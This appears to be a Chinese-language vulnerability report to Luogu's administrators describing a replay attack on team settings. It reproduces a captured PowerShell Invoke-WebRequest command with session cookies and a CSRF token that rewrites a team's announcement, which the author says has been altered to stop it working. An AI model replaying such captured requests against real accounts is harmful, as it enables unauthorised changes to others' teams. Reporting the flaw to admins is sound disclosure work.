问题提出：

在团队中，可以使用重放攻击对团队进行修改管理、修改公告、转让所有者的操作

具体使用操作：

在用户按下公告的保存按键，在浏览器控制台中（网络）可保存提交的请求头，如果复制了 $powershell$ 指令可以重放攻击，及例如：

$session.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/105.0.1343.42"
$session.Cookies.Add((New-Object System.Net.Cookie("__client_id", "b7fb08f18b26bab61d61c62f1945ba84363b95d1", "/", ".luogu.com.cn")))
$session.Cookies.Add((New-Object System.Net.Cookie("login_referer", "https%3A%2F%2Fwww.luogu.com.cn%2F", "/", "www.luogu.com.cn")))
$session.Cookies.Add((New-Object System.Net.Cookie("_uid", "(UID)", "/", ".luogu.com.cn")))
$session.Cookies.Add((New-Object System.Net.Cookie("SpilopeliaState", "8k1s7pn5qc13vn725v5quaebo1", "/", "www.luogu.com.cn")))
$session.Cookies.Add((New-Object System.Net.Cookie("unlock_referer","https%3A%2F%2Fwww.luogu.com.cn%2Fproblem%2FAT_cpsco2019_s3_c", "/", "www.luogu.com.cn")))
$session.Cookies.Add((New-Object System.Net.Cookie("C3VK", "047672", "/", "www.luogu.com.cn")))
Invoke-WebRequest -UseBasicParsing -Uri "https://www.luogu.com.cn/api/team/edit/xxx" `
-Method "POST" `
-WebSession $session `
-Headers @{
"authority"="www.luogu.com.cn"
  "method"="POST"
  "path"="/api/team/edit/xxx"
  "scheme"="https"
  "accept"="application/json, text/plain, */*"
  "accept-encoding"="gzip, deflate, br"
  "accept-language"="zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6"
  "origin"="https://www.luogu.com.cn"
  "referer"="https://www.luogu.com.cn/team/xxx"
  "sec-ch-ua"="`"Microsoft Edge`";v=`"105`", `" Not;A Brand`";v=`"99`", `"Chromium`";v=`"105`""
  "sec-ch-ua-mobile"="?0"
  "sec-ch-ua-platform"="`"Windows`""
  "sec-fetch-dest"="empty"
  "sec-fetch-mode"="cors"
  "sec-fetch-site"="same-origin"
  "x-csrf-token"="1692239072:X5N4cKu3i2eVIFZbtMVaZ2PDTLRf9TeQvoeqPIECCl0=
  "x-requested-with"="XMLHttpRequest"
} `
-ContentType "application/json" 
-Body "{`"settings`":{`"notice`":`"(修改团队公告内容)`"}}"

以上指令以经过处理，无法使用

请管理员重视！！！